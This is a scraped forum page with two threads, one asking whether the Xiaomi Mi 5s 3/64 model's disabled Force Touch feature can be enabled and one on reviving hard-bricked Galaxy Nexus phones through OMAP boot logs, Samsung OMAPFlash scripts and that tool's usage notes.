Can Force Touch feature be unlocked on 3/64 Mi 5s version?

Can Force Touch feature be unlocked on 3/64 Mi 5s version? - Xiaomi Mi 5s Questions & Answers

I wonder if Force Touch feature currently limited to 4/128 version of Mi 5s can be unlocked on 3/64 version?
I doubt that it is hardware dependent. It can sense only 2 levels of pressure so it may be done the same way as detecting touch pressure in Chrome (using size of the sourface that touches the screen.)
So can it be unlocked on Mi 5s 3/64?

AFAIK, it uses different touchscreen driver.
Please check your dmesg to find out if you have the same touchscreen driver as mine (4/128):
Code:
[ 3.930486] synaptics_dsi_force 12-0020: fwu_read_f34_guest_serialization_partition: Lockdown info: 0x31 0x31 0x31 0x5 0x41 0x37 0x31 0x0
[ 3.931644] synaptics_dsi_force 12-0020: fwu_get_firmware_name: Choose firmware synaptics_jdi_3331_a7.fw
[ 3.933964] msm_pcie_enable: PCIe: Release the reset of endpoint of RC1.
[ 3.942369] synaptics_dsi_force 12-0020: fwu_start_reflash: Start of reflash process
[ 3.943124] synaptics_dsi_force 12-0020: fwu_go_nogo: Device firmware ID = 2474340
[ 3.943135] synaptics_dsi_force 12-0020: fwu_go_nogo: Image firmware ID = 2475571
[ 3.943142] synaptics_dsi_force 12-0020: fwu_go_nogo: Updating UI firmware and config
[ 3.972100] fwu_enter_flash_prog: fwu->in_ub_mode = 0
[ 3.990347] synaptics_dsi_force 12-0020: fwu_read_f34_guest_serialization_partition: Lockdown info: 0x31 0x31 0x31 0x5 0x41 0x37 0x31 0x0
[ 4.020044] fwu->has_utility_param = 1
[ 4.020052] fwu->img.contains_utility_param = 1

possible compare builid.prob?

berylune said:
possible compare builid.prob?
Click to expand...
Click to collapse
It is using the same build.prop and kernel. Nothing to compare.

oki thanks for information. have you a little tutorial for us with dmesg and your results?
iam using /adb shell dmesg but its a very long list.

berylune said:
oki thanks for information. have you a little tutorial for us with dmesg and your results?
iam using /adb shell dmesg but its a very long list.
Click to expand...
Click to collapse
I'm using:
Code:
adb shell dmesg >> C:\dmesg.log
And then open it using Notepad++, and search for "synaptics".

There you go, Mi5S 3GB/64GB
Code:
[ 3.900524] synaptics_dsi_force 12-0020: fwu_read_f34_guest_serialization_partition: Lockdown info: 0x31 0x31 0x31 0x5 0x41 0x37 0x31 0x0
[ 3.901674] synaptics_dsi_force 12-0020: fwu_get_firmware_name: Choose firmware synaptics_jdi_3331_a7.fw
[ 3.903992] msm_pcie_enable: PCIe: Release the reset of endpoint of RC1.
[ 3.912492] synaptics_dsi_force 12-0020: fwu_start_reflash: Start of reflash process
[ 3.913241] synaptics_dsi_force 12-0020: fwu_go_nogo: Device firmware ID = 2475571
[ 3.913254] synaptics_dsi_force 12-0020: fwu_go_nogo: Image firmware ID = 2475571
[ 3.914585] synaptics_dsi_force 12-0020: fwu_go_nogo: No need to do reflash
[ 3.914595] fwu_start_reflash: End of reflash process

For me it looks like the same driver. Could someone elaborate?

Important
Anyone?

Developer options>pointer location enable - you will see the pressure displayed on top right corner. So the driver and force touch work fine in 64gb version, it's just disabled somewhere.
Sent from my MI 5s using Tapatalk

Disabled in build.prop ?

Please see if this helps:
http://en.miui.com/thread-269527-1-1.html
It seems like a mix of hardware and software feature. The screen has to have a proper layer for this, and software do the calculations.

zdravke said:
Developer options>pointer location enable - you will see the pressure displayed on top right corner. So the driver and force touch work fine in 64gb version, it's just disabled somewhere.
Click to expand...
Click to collapse
Good point. I even downloaded an app called Force Touch Test and it seem to detect touch pretty well.
So it seems like force touch is only disabled in MIUI launcher. It may be related with build.prop.

Isn't build.prop the same?
There is just one ROM for both versions of Mi5S.

I can confirm that my Mi5s 3/64 is also capable of detecting touch force! (tried it in app) It seems that hardware is ready but Xiaomi disabled it in software.

change model id in build prop?

xsiriusx said:
change model id in build prop?
Click to expand...
Click to collapse
It may cause conflict with camera, no ?

I am a bit puzzled how the force touch seemed to be available on all variants (i have the 4/32 version which detects pressure). They all have the same ROM so why does it only work on the 128GB version. Maybe there is a hacky check for the ROM size to enable force touch?

I think rom is the same but at first boot an hardware check differentiate them. I think Kernel is the key, like we see with Mi5 cpu clocks.

BPSoft said:
I think rom is the same but at first boot an hardware check differentiate them. I think Kernel is the key, like we see with Mi5 cpu clocks.
Click to expand...
Click to collapse
Mi 5 uses 2 different snapdragon 820's, the 32gb model is physically inferior to the 64/128gb versions..
But since some people are saying that there is pressure sensitivity being detected on 64/32 gb model, I'm sure once we have some source code we can see if we can unlock it for 64/32 gb models

Related

[WIP] Lets recover hard-bricks

Hey guys. I'm doing some work to figure out how to recover Galaxy Nexus devices which are hard-bricked.. ie.. they have a bad or no bootloader installed.
the boot sequence
1. IROM - the Internal ROM which cannot be rewritten on the device. This loads the XLoader.
2. XLoader/MLO - This completes the initialization of the processor and memory, and loads up the relatively huge U-Boot ( Samsung modified this and calls it SBL)
3. UBoot/SBL - This "Bootloader" is almost a complete operating system. The U-Boot initializes the screen, provides Odin mode, Fastboot Mode as well as loading the kernel/recovery and provides a UART debugging mode (Yet to be unlocked).
4. Kernel - Once we reach this point, it's all clear.. the kernel is linux which loads android and all sorts of other things.
The Problem
People are bricking their devices at stage 2 and 3 of this boot sequence... This leaves them unable to boot Fastboot or Odin. The device is 100% interchangable with a brick. These devices are ending up hard bricked.
The solution
We must come up with a way to undo the hard brick. Here are some things i'm looking at to use the native hardware to recover itself.
When you plug in the device (when off), you will immediately notice a Texas Instruments D010 device gets enumerated. This is a debug mode for the processor.
Code:
Bus 001 Device 023: ID 0451:d010 Texas Instruments, Inc.
We've started looking at some bootloader output here: http://forum.xda-developers.com/showthread.php?t=1461986
You can find information about the OMAP4 bootloaders here: http://omapedia.org/wiki/Bootloader_Project
Help
I need help locating drivers to initialize the 0451:d010 device and make it readable from within Linux or Windows.. Generally Linux is easier to find appropriate drivers.
I could use some help collecting more reading materials and resources.
I think together as a community we can take care of this problem.

I kinda forgot that thread, it got lost among rom/kernel threads. Thanks for the reminder.
sent from my i9250

Ok... so here's the most complete boot log I've been able to obtain from the device
Code:
[Thermal] OK to boot
Initialize runtime thermal monitoring ...done!
-- OMAP 00004460 (version 04460e11) PPA release 1.6.1 Hash 30639809--
Device type: HS, DEBUG OFF
CPFROM HAL API support integrated
THERMAL support integrated: Run Time + Boot time
HDCP support integrated
-- PROD PPA RC3.2.3 --
Reset reason = 00037ba2
PRM_RSTST = 00000002
PPA freed 2992 bytes
Texas Instruments X-Loader 1.41 (Nov 16 2011 - 16:28:45)
Starting OS Bootloader from MMC/SD1 ...
EXCEPTION : CM_CLKMODE_DPLL_ABE = 0x7
EXCEPTION : CM_IDLEST_DPLL_ABE = 0x1
EXCEPTION : CM_CLKSEL_DPLL_ABE = 0x804018
EXCEPTION : CM_CLKMODE_DPLL_CORE = 0xf
EXCEPTION : CM_IDLEST_DPLL_CORE = 0x1
EXCEPTION : CM_CLKSEL_DPLL_CORE = 0x7d05
EXCEPTION : CM_CLKMODE_DPLL_PER = 0x107
EXCEPTION : CM_IDLEST_DPLL_PER = 0x1
EXCEPTION : CM_CLKSEL_DPLL_PER = 0x1400
EXCEPTION : CM_CLKMODE_DPLL_MPU = 0x117
EXCEPTION : CM_IDLEST_DPLL_MPU = 0x1
EXCEPTION : CM_CLKSEL_DPLL_MPU = 0x807d07
CFG_LOADADDR = 0xa0208000
1st instruct = 0xEA000007
[ __omap_twl6030_init_vbat_cfg :49] SA_PHOENIX_START_CONDITION = 0x4a
[ __omap_twl6030_init_vbat_cfg :54] SA_PH_CFG_VBATLOWV = 0x80
[ __omap_twl6030_init_vbat_cfg :63] SA_PH_CFG_VBATLOWV = 0x80
[ __omap_twl6030_init_vbat_cfg :86] SA_BBSPOR_CFG = 0x78
====== VCELL : 381375, SOC : 49, nType : 5 ======
[Charger] nScaledVCELL : 381375000, nDesriedSOC, : 62, nMaxSOC : 82, nMinSOC : 42
[ omap_power_get_reset_source :47] PRM_RSTST : 0x2
[ __omap_usbacc_test_donwload_by_musb :280] nDeviceType : 0x5
[ omap_usbacc_get_reboot_reason :333] nJigStatus = 0x00000003
[ __sbl_board_hw_init_late :719] final reboot mode in cable = 0x40000
[ __sbl_board_hw_init_late :730] Wake up by TA / USB / JIG
* FB base addr = 0xbea70000!
* PANEL_S6E8AA0_ID_READ : 0x12, 0x8e, 0x9f.
[ omap_power_get_reset_source :47] PRM_RSTST : 0x2
dev : 5
[sbl_board_charger_init_post] : Succeed set model data : 0x78!!!!!
====== VCELL : 381500, SOC : 50, nType : 5 ======
[Charger] nScaledVCELL : 381500000, nDesriedSOC, : 62, nMaxSOC : 82, nMinSOC : 42
[ omap_power_get_reset_source :47] PRM_RSTST : 0x1
[ __omap_usbacc_test_donwload_by_musb :280] nDeviceType : 0x5
[ omap_usbacc_get_reboot_reason :333] nJigStatus = 0x00000003
[ __sbl_board_hw_init_late :719] final reboot mode in cable = 0x40000
[ __sbl_board_hw_init_late :730] Wake up by TA / USB / JIG
* FB base addr = 0xbea70000!
* PANEL_S6E8AA0_ID_READ : 0x12, 0x8e, 0x9f.
[ omap_power_get_reset_source :47] PRM_RSTST : 0x1
message.command =
message.status =
message.recovery =
<hit enter twice to activate fiq debugger>
[Thermal] OK to boot
Initialize runtime thermal monitoring ...done!
-- OMAP 00004460 (version 04460e11) PPA release 1.6.1 Hash 30639809--
Device type: HS, DEBUG OFF
CPFROM HAL API support integrated
THERMAL support integrated: Run Time + Boot time
HDCP support integrated
-- PROD PPA RC3.2.3 --
Reset reason = 0003fba2
PRM_RSTST = 00000002
PPA freed 2992 bytes
Texas Instruments X-Loader 1.41 (Nov 16 2011 - 16:28:45)
Starting OS Bootloader from MMC/SD1 ...
EXCEPTION : CM_CLKMODE_DPLL_ABE = 0x7
EXCEPTION : CM_IDLEST_DPLL_ABE = 0x1
EXCEPTION : CM_CLKSEL_DPLL_ABE = 0x804018
EXCEPTION : CM_CLKMODE_DPLL_CORE = 0xf
EXCEPTION : CM_IDLEST_DPLL_CORE = 0x1
EXCEPTION : CM_CLKSEL_DPLL_CORE = 0x7d05
EXCEPTION : CM_CLKMODE_DPLL_PER = 0x107
EXCEPTION : CM_IDLEST_DPLL_PER = 0x1
EXCEPTION : CM_CLKSEL_DPLL_PER = 0x1400
EXCEPTION : CM_CLKMODE_DPLL_MPU = 0x117
EXCEPTION : CM_IDLEST_DPLL_MPU = 0x1
EXCEPTION : CM_CLKSEL_DPLL_MPU = 0x807d07
CFG_LOADADDR = 0xa0208000
1st instruct = 0xEA000007
[ __omap_twl6030_init_vbat_cfg :49] SA_PHOENIX_START_CONDITION = 0x8
[ __omap_twl6030_init_vbat_cfg :54] SA_PH_CFG_VBATLOWV = 0x80
[ __omap_twl6030_init_vbat_cfg :63] SA_PH_CFG_VBATLOWV = 0x80
[ __omap_twl6030_init_vbat_cfg :86] SA_BBSPOR_CFG = 0x78
====== VCELL : 381375, SOC : 50, nType : 5 ======
[Charger] nScaledVCELL : 381375000, nDesriedSOC, : 62, nMaxSOC : 82, nMinSOC : 42
[ omap_power_get_reset_source :47] PRM_RSTST : 0x2
[ __omap_usbacc_test_donwload_by_musb :280] nDeviceType : 0x5
[ omap_usbacc_get_reboot_reason :333] nJigStatus = 0x00000003
[ __sbl_board_hw_init_late :719] final reboot mode in cable = 0x40000
[ __sbl_board_hw_init_late :730] Wake up by TA / USB / JIG
* FB base addr = 0xbea70000!
* PANEL_S6E8AA0_ID_READ : 0x12, 0x8e, 0x9f.
[ omap_power_get_reset_source :47] PRM_RSTST : 0x2
<hit enter twice to activate fiq debugger>
Communications established====== VCELL : 381375, SOC : 50, nType : 5 ======
[Charger] nScaledVCELL : 381375000, nDesriedSOC, : 62, nMaxSOC : 82, nMinSOC : 42
* FB base addr = 0xbea70000!
* PANEL_S6E8AA0_ID_READ : 0x12, 0x8e, 0x9f.
[ omap_power_get_reset_source :47] PRM_RSTST : 0x2
<hit enter twice to activate fiq debugger>
debug> console
console mode
[ 3.320373] cannot apply mgr(lcd) on inactive device
[ 3.325805] omapfb omapfb: failed to apply dispc config
[ 3.331359] cannot apply mgr(tv) on inactive device
[ 3.336578] omapfb omapfb: failed to apply dispc config
[ 3.341949] cannot apply mgr(lcd2) on inactive device
[ 3.347167] omapfb omapfb: failed to apply dispc config
[ 3.354888] regulator_init_complete: VDAC: disabling
[ 3.361053] omaplfb OMAPLFBInitFBDev: Device 0: Requesting 4 TILER 2D framebuffers
[ 3.369232] ## wifi_probe
[ 3.371917] wifi_set_power = 1
[ 3.631866] wifi_set_carddetect = 1
[ 3.647338]
[ 3.647338] Dongle Host Driver, version 5.90.125.94
[ 3.647338] Compiled in drivers/net/wireless/bcmdhd on Nov 21 2011 at 19:05:54
[ 3.764984] mmc1: queuing unknown CIS tuple 0x80 (7 bytes)
[ 3.817810] mmc1: queuing unknown CIS tuple 0x80 (3 bytes)
[ 3.837463] mmc1: new high speed SDIO card at address 0001
[ 3.844818] F1 signature read @0x18000000=0x16844330
[ 3.859436] DHD: dongle ram size is set to 294912(orig 294912)
[ 3.866546] wl_create_event_handler thr:5b started
[ 3.871673] dhd_attach thr:5c started
[ 3.875488] dhd_attach thr:5d started
[ 3.879272] dhd_attach thr:5e started
[ 3.883148] wifi_get_mac_addr
[ 3.888519] Broadcom Dongle Host Driver: register interface [wlan0] MAC: 00:90:4c:11:22:33
[ 3.897430] wifi_set_power = 0
[ 4.157012] =========== WLAN placed in RESET ========
[ 4.163116] fsa9480 4-0025: cable detect change, from 'unknown/none' to 'uart'
[ 4.171203] twl_rtc twl_rtc: setting system clock to 2012-05-13 00:25:12 UTC (1336868712)
[ 4.180816] Freeing init memory: 276K
[ 4.187561] init (1): /proc/1/oom_adj is deprecated, please use /proc/1/oom_score_adj instead.
[ 4.214172] max17040 4-0036: online = 1 vcell = 3795000 soc = 48 status = 3 health = 1 temp = 330 charger status = 0
[ 4.288116] keychord: using input dev tuna-gpio-keypad for fevent
[ 4.354614] EXT4-fs (mmcblk0p10): mounted filesystem with ordered data mode. Opts: (null)
[ 4.446746] mms_ts 3-0048: fw version 0x62 already present
[ 4.454498] mms_ts 3-0048: Melfas MMS-series touch controller initialized
[ 4.757202] omap-rproc omap-rproc.1: Loaded BIOS image ducati-m3.bin, size 4489868
[ 4.765838] omap-rproc omap-rproc.1: BIOS image version is 2
[ 4.785888] omap-iommu omap-iommu.0: iommu_get: ducati qos_request
[ 4.806243] omap_hwmod: ipu: failed to hardreset
[ 4.811035] omap-iommu omap-iommu.0: ducati: version 2.1
[ 4.822448] omap-rproc omap-rproc.1: remote processor ipu is now up
[ 4.835571] omap_rpmsg_mbox_callback: received echo reply from ipu !
[ 4.842071] omap_rpmsg_mbox_callback: received echo reply from ipu !
[ 4.848541] omap_rpmsg_mbox_callback: received echo reply from ipu !
[ 4.855072] omap_rpmsg_mbox_callback: received echo reply from ipu !
[ 4.861816] virtio_rpmsg_bus virtio0: creating channel rpmsg-client-sample addr 0x32
[ 4.869812] virtio_rpmsg_bus virtio0: creating channel rpmsg-client-sample addr 0x33
[ 4.877899] virtio_rpmsg_bus virtio0: creating channel rpmsg-omx addr 0x3c
[ 4.885192] rpmsg_omx rpmsg-omx0: new OMX connection srv channel: 1024 -> 60!
[ 5.959960] EXT4-fs (mmcblk0p12): recovery complete
[ 5.974639] EXT4-fs (mmcblk0p12): mounted filesystem with ordered data mode. Opts: nomblk_io_submit,errors=panic
[ 6.021484] virtio_rpmsg_bus virtio1: creating channel rpmsg-omx addr 0x3c
[ 6.029602] rpmsg_omx rpmsg-omx1: new OMX connection srv channel: 1024 -> 60!
[ 6.170227] EXT4-fs (mmcblk0p11): recovery complete
[ 6.178833] EXT4-fs (mmcblk0p11): mounted filesystem with ordered data mode. Opts: nomblk_io_submit,errors=panic
[ 6.199371] EXT4-fs (mmcblk0p3): mounted filesystem with ordered data mode. Opts: (null)
[ 6.269744] android_usb: already disabled
[ 6.274810] mtp_bind_config
[ 6.277740] adb_bind_config
[ 6.297790] HDCP: loaded keys
[ 6.481079] warning: `adbd' uses 32-bit capabilities (legacy support in use)
[ 6.488433] adb_open
[ 6.702026] init: sys_prop: permission denied uid:1001 name:net.rmnet1.dns1
[ 6.709808] init: sys_prop: permission denied uid:1001 name:net.rmnet1.dns2
[ 6.718780] init: sys_prop: permission denied uid:1001 name:net.rmnet1.gw
[ 6.726196] init: sys_prop: permission denied uid:1001 name:net.rmnet2.dns1
[ 6.733612] init: sys_prop: permission denied uid:1001 name:net.rmnet2.dns2
[ 6.741455] init: sys_prop: permission denied uid:1001 name:net.rmnet2.gw
[ 6.749481] PVR: Installing MISR with cookie c0800c2c
[ 6.757415] PVR: Installing device LISR SGX ISR on IRQ 53 with cookie c7aa2700
[ 6.766174] PVR: OSUnMapPhysToLin: unmapping 65535 bytes from c8be0000
[ 6.773162] PVR: SysFinalise: Version string: SGX revision = 1.2.0
[ 6.797027] [MODEM_IF] misc_open : umts_boot0
[ 6.801666] omap_hsi omap_hsi.0: HSI clock is now 96000000
[ 6.824066] omap_hsi omap_hsi.0: Entering RX wakeup in 3 wires mode (no CAWAKE)
[ 6.831634] [MODEM_IF] xmm6260_off()
[ 6.835327] [MODEM_IF] PA EVENT : reset =0, pa=1
[ 6.840057] [MODEM_IF] umts_ipc0 state changed: OFFLINE
[ 6.845367] [MODEM_IF] xmm6260_on()
[ 6.866821] SMC: SecureCRC=0xBC7458DC
[ 6.959045] [MODEM_IF] PA EVENT : reset =1, pa=0
[ 7.042053] SMC PA: INFO 00000001 00:00:00.000 ------ ------ --------------- Booting... (t=00:25:15.356) SMCXG01.04p11.32196 /Widevine Integration
[ 7.058532] SMC PA: INFO 00000002 00:00:00.017 ------ ------ --------------- Booted
[ 7.238128] [MODEM_IF] misc_release : umts_boot0
[ 7.245147] omap_hsi omap_hsi.0: hsi_write_cancel ch 0
[ 7.251708] omap_hsi omap_hsi.0: __hsi_write_cancel : -125
[ 7.258941] omap_hsi omap_hsi.0: hsi_read_cancel ch 0
[ 7.265106] omap_hsi omap_hsi.0: __hsi_read_cancel : -125
[ 7.270629] omap_hsi omap_hsi.0: __hsi_write_cancel : -61
[ 7.276794] omap_hsi omap_hsi.0: __hsi_read_cancel : -61
[ 7.282470] [MODEM_IF] misc_open : umts_boot1
[ 7.287506] omap_hsi omap_hsi.0: Entering RX wakeup in 4 wires mode
[ 8.299774] misc dsscomp: [c7234000] ignoring set failure -22
[ 8.530609] s6e8aa: d/b 1, p 1, b-01390ffb
[ 8.530639] s6e8aa: c0, 1, b-001215fb, got v 3534794, factory wants 3529338
[ 8.530670] s6e8aa: c1, 1, b-00478927, got v 3764175, factory wants 3755229
[ 8.530700] s6e8aa: c2, 1, b-0012a421, got v 3486385, factory wants 3481495
[ 8.530731] s6e8aa: d/b 1, p 2, b-044d7cf9
[ 8.530761] s6e8aa: c0, 2, b-00bc6c9a, got v 3336878, factory wants 3330014
[ 8.530761] s6e8aa: c1, 2, b-01688d4e, got v 3556595, factory wants 3547367
[ 8.530792] s6e8aa: c2, 2, b-00a7db92, got v 3293516, factory wants 3285750
[ 8.530822] s6e8aa: d/b 1, p 3, b-0b323808
[ 8.530853] s6e8aa: c0, 3, b-026395cd, got v 3203365, factory wants 3194725
[ 8.530883] s6e8aa: c1, 3, b-0331a9fb, got v 3435905, factory wants 3424659
[ 8.530914] s6e8aa: c2, 3, b-021e3100, got v 3149091, factory wants 3139262
[ 8.530944] s6e8aa: d/b 1, p 4, b-186611f4
[ 8.530944] s6e8aa: c0, 4, b-062b8517, got v 3065435, factory wants 3053644
[ 8.531036] s6e8aa: c1, 4, b-0725b7f8, got v 3297279, factory wants 3284148
[ 8.531249] s6e8aa: c2, 4, b-053f8b4b, got v 3005194, factory wants 2992315
[ 8.531280] s6e8aa: d/b 1, p 5, b-6840e4ff
[ 8.531311] s6e8aa: c0, 5, b-221c3d41, got v 2688265, factory wants 2667329
[ 8.531341] s6e8aa: c1, 5, b-24fd4a51, got v 2906316, factory wants 2884895
[ 8.531372] s6e8aa: c2, 5, b-1d67176e, got v 2594260, factory wants 2571400
[ 8.531402] s6e8aa: d/b 1, p 6, b-ffffffff
[ 8.531433] s6e8aa: c0, 6, b-59b1b4d2, got v 2325286, factory wants 2292333
[ 8.531463] s6e8aa: c1, 6, b-60d28a3e, got v 2534439, factory wants 2499333
[ 8.531463] s6e8aa: c2, 6, b-4efd2a80, got v 2197307, factory wants 2162000
[ 11.727386] [MODEM_IF] misc_release : umts_boot1
[ 11.732147] omap_hsi omap_hsi.0: hsi_write_cancel ch 0
[ 11.756225] omap_hsi omap_hsi.0: __hsi_write_cancel : -61
[ 11.762268] omap_hsi omap_hsi.0: hsi_read_cancel ch 0
[ 11.767791] omap_hsi omap_hsi.0: __hsi_read_cancel : -125
[ 11.773620] omap_hsi omap_hsi.0: __hsi_write_cancel : -61
[ 11.779174] omap_hsi omap_hsi.0: __hsi_read_cancel : -61
[ 11.785552] [MODEM_IF] misc_open : umts_ipc0
[ 11.790954] omap_hsi omap_hsi.0: Entering RX wakeup in 4 wires mode
[ 11.798675] [MODEM_IF] misc_open : umts_rfs0
[ 11.829528] [MODEM_IF] PA EVENT : reset =1, pa=1
[ 11.834228] [MODEM_IF] umts_ipc0 state changed: ONLINE
[ 14.545074] drivers/misc/inv_mpu/mldl_cfg.c|inv_mpu_get_slave_config|1792 returning 4
[ 26.044372] request_suspend_state: wakeup (3->0) at 26030029299 (2012-05-13 00:25:34.359069826 UTC)
[ 26.622772] acc_open
[ 26.625122] acc_release
[ 26.670013]
[ 26.670043] Dongle Host Driver, version 5.90.125.94
[ 26.670043] Compiled in drivers/net/wireless/bcmdhd on Nov 21 2011 at 19:05:54
[ 26.684082] wl_android_wifi_on in
[ 26.687622] wifi_set_power = 1
[ 26.971282] =========== WLAN going back to live ========
[ 26.977600] sdio_reset_comm():
[ 27.066314] dhdsdio_write_vars: Download, Upload and compare of NVRAM succeeded.
[ 27.228179] wifi_get_mac_addr
[ 27.232513] Firmware up: op_mode=1, Broadcom Dongle Host Driver mac=a0:0b:ba:e6:73:ae
[ 27.344390] dhd_rx_frame: net device is NOT registered yet. drop packet
[ 27.351531] dhd_rx_frame: net device is NOT registered yet. drop packet
[ 27.360076] Firmware version = wl0: Oct 5 2011 14:41:12 version 5.90.125.94
[ 28.639709] wl_bss_connect_done succeeded status=(0x9)
[ 28.732391] wl_bss_connect_done succeeded status=(0x11)
[ 29.166564] nfc_power_apply ON
[ 29.201965] nfc_power_apply OFF
[ 29.272308] nfc_power_apply ON
[ 35.672241] rpmsg_omx rpmsg-omx1: local addr assigned: 0x401
[ 35.682067] omap-iommu omap-iommu.0: iommu_get: ducati qos_request
[ 35.703735] omap_hwmod: ipu: failed to hardreset
[ 35.713470] omap-iommu omap-iommu.0: ducati: version 2.1
[ 35.826934] rpmsg_omx rpmsg6: conn rsp: status 0 addr 101
[ 35.975158] rpmsg_omx rpmsg-omx1: Disconnecting from OMX service at 101
[ 39.279998] wlan0: no IPv6 routers present
[ 44.895355] init: untracked pid 1113 exited
[ 44.905731] init: untracked pid 1119 exited
[ 44.918914] init: untracked pid 1123 exited
[ 44.923248] init: untracked pid 1124 exited
[ 44.927612] init: untracked pid 1117 exited
[ 44.932067] init: untracked pid 1120 exited
[ 54.283905] max17040 4-0036: online = 1 vcell = 3788750 soc = 48 status = 3 health = 1 temp = 350 charger status = 0
[ 61.938812] request_suspend_state: sleep (0->3) at 61924468996 (2012-05-13 00:26:10.253540041 UTC)
[ 61.959869] dhd_set_suspend: force extra Suspend setting
first. The device checks if it's too hot or too cold to boot via IROM software (internal read only memory). After that it begins initialization. The IROM version is displayed. Then the device type..
The OMAP processor in the Galaxy Nexus is a HS (High Security) processor, as opposed to GP (General Purpose) processor. This means the first bootloader (AKA MLO or X-Loader) is a signed binary which is e-fused to the device.
I've seen in the past on similar Hummingbird processors that only the first 1K is checked for speed because hashing it takes a little bit of time. This may or may not be the case with this particular device. We will see.
Anyway.. There's a possiblity we can find an MLO which is already presigned somewhere on the Internet. We need whatever they use at Samsung which provides the initial firmware load to a device without any firmware on it.
Here is a relevant page: http://omapedia.org/wiki/Bootloader_Project
Code:
If you are using an HS (High Security) OMAP device, an extra step is required. First, build x-load.bin using the steps above. Then, download the MShield signing tool and use the commands below. Contact your TI representative to get access to this tool.
In order to get the firmware onto the device in the first place, this bootloader must exist. We need a copy of it. Once we have this bootloader, we can revive Galaxy Nexus devices.

You may have seen this already, but just in case - this seems to be a bootloader of some kind. I couldn't get it to work with my bricked SGN, but it may be of some use to the unbricking effort.
Can't post link, so search for "Unbrick dead Samsung GT-i9250 Galaxy Nexus 32GB".
Best of luck!

The user above is referring to this link, I think:
http://forum.xda-developers.com/showthread.php?t=1640443
The user there shares a .zip file that supposedly is able to unbrick a 32gb GNex using some samsung software. It calls OMAPFlash.exe with a bunch of parameters. I don't know whether it will be useful or not, but it's a start.

The batch file that the post above ^ asks the users to run is this:
Code:
::::
:: Copyright (C) 2010-2011, Samsung Electronics, Co., Ltd. All Rights Reserved.
:: Written by System S/W Group, S/W Platform R&D Team,
:: Mobile Communication Division.
::::
::::
:: Project Name : Proxima GED
::
:: Project Description :
::
:: Comments : tabstop = 8, shiftwidth = 8, noexpandtab
::::
::::
:: File Name : omap4460_tuna_hs.bat
::
:: File Description :
::
:: Author : System Platform 2
:: Dept : System S/W Group (S/W Platform R&D Team)
:: Created : 17/Aug/2011
:: Version : Baby-Raccoon
::::
:__loop
@OMAPFlash.exe -v @Targets\Projects\tuna\omap4460_tuna_hs_pro.txt
@PAUSE
GOTO __loop
Seeing the text file path, I went and looked. Here's what I found:
Code:
##
# Copyright (C) 2010-2011, Samsung Electronics, Co., Ltd. All Rights Reserved.
# Written by System S/W Group, S/W Platform R&D Team,
# Mobile Communication Division.
##
##
# Project Name : Proxima GED
#
# Project Description :
#
# Comments : tabstop = 8, shiftwidth = 8, noexpandtab
##
##
# File Name : omap4460_tuna_hs.txt
#
# File Description :
#
# Author : System Platform 2
# Dept : System S/W Group (S/W Platform R&D Team)
# Created : 17/Aug/2011
# Version : Baby-Raccoon
##
-omap 4
-t 36000 -p OMAP4460_TUNA_8G_HS_PRO -2
#chip_download [email protected] Targets\Projects\tuna\MBR.bin
chip_download [email protected] Targets\Projects\tuna\MLO_4460_HS_PRO
chip_download [email protected] Targets\Projects\tuna\sbl.img
command cold_sw_reset
So it appears that the software writes the files MLO_4460_HS_PRO and sbl.img to different parts of the internal memory.

Any success for the device driver? In the documents above, they say you should use the FTDI VCP (Virtual COM Port) drivers... But included in the package above, there is a driver in the ../usb_drv_windows directory, for exactly the TI driver you mentioned:
Code:
%USB_OMAP4460% = USB_Install, USB\VID_0451&PID_d010
For lazy reference:
Code:
[SIZE=2]-- Usage --
OMAPFlash Host is a command-line based application. It is currently available
for Windows XP only and will run in a Windows command shell. The application can
take commands directly from the command line or via a script file (a more useful
approach). The syntax for calling the tool is:
[B]omapflash [ <option> ] <command>[/B]
or, if a script file is used: omapflash @<file>
-- Options --
The tool has a number of options that can be used to control its overall
behavior.
[B]-com <port number> [/B]By default OMAPFlash will try to communicate with the
target platform using a USB serial link. This option will force OMAPFlash to
use a UART for serial communication and specify the host side COM-port to use.
-t <timeout> By default the timeout for communication on the serial link is 5
seconds. This option allows control of the timeout value by specifying another
timeout value in seconds.
[B]-p <platform>[/B] This option is required by OMAPFlash and specifies the platform
for which the download is to take place. The platform specified is a name tag
that allows OMAPFlash to identify the correct second loader to use. The tag
typically identifies the platform type and the memory used with the OMAP
device present on the platform (“e.g. SDP_MDDR_HYNIX_4G). The tag is used to
look up the second loader in a configuration file (omapflash2nd.txt) in
combination with an OMAP device identifier received from the platform during
peripheral boot.
[B]-omap <version> [/B]This option is required by OMAPFlash if a peripheral boot
sequence is used to transfer a second loader to a target platform. The option
specifies the OMAP generation used on the platform – without this option set,
OMAPFlash will be unable to determine how to correctly perform the peripheral
boot sequence necessary for transfer of the second loader to the platform. The
version number is a single digit integer (e.g. ‘3’ for an OMAP3xxx based
platform or ‘4’ for an OMAP4xxx based platform).
[B]-2[/B] This option controls whether OMAPFlash will try to use the ROM code
peripheral boot sequence to transfer a second loader to internal RAM before
doing anything else. This option will be required for most scenarios where
OMAPFlash is used but can be left out if OMAPFlash Host is interacting with a
second loader already running on a target platform.
[B]-v[/B] The ‘-v’ option controls whether OMAPFlash Host will run in verbose mode.
If set, more information will be shown during the execution of the flashing
sequence. Note that this option should be set in order to see the target
platform response to certain commands (e.g. ‘chips’).
-- Commands --
Commands are executed on the target platform. Any command is prefixed by the
keyword ‘command’ and anything following this keyword will be passed directly to
OMAPFlash Second by OMAPFlash Host without interpretation or modification.
Typically the ‘verbose’ option should be used with commands in order to ensure
that information returned from the platform will be shown on the console.
branch <device> <offset>
This command will cause OMAPFlash Second to make an
unconditional branch to a memory mapped address. The device will typically be
the SDRAM handled by the OMAP SDRAM controller in this case, and the offset
typically zero. The device ID must be one known by OMAPFlash Second and the
offset an integer within the address offset range valid for the device.
peek32 <address> Get the register value of the register with the given
address.
poke32 <address> <value> Modify the register at the given address to the given
value
peekpoke32 <address> <value> <mask> Modify the register at the given address
with the given value and mask
-- Flashing --
OMAPFlash Host is able to handle three basic procedures for accessing memory
devices through the OMAPFlash Second loader. These procedures are used to erase
memory devices, transfer a binary file to a device or upload the device content
to a binary file. In all cases, parameter values specifying sizes or offsets are
hexadecimal.
[B]chip_erase <device>[@offset] <size> [/B]
This procedure is used to erase the
content of a device, either for the whole device or for part of its address
range. The ‘device’ identifier is a string matching one of the devices
available on the platform as listed from the ‘chips’ command – in other words,
a device known to OMAPFlash Second for the particular platform used (SDRAM is
not a valid choice). If an ‘offset’ is used, the device erasure will start at
the offset specified. The offset will need to be compatible with the memory
structure of the device in question – e.g. if the device has a block size of
40000h bytes, the offset will need to be a multiple of the block size. The
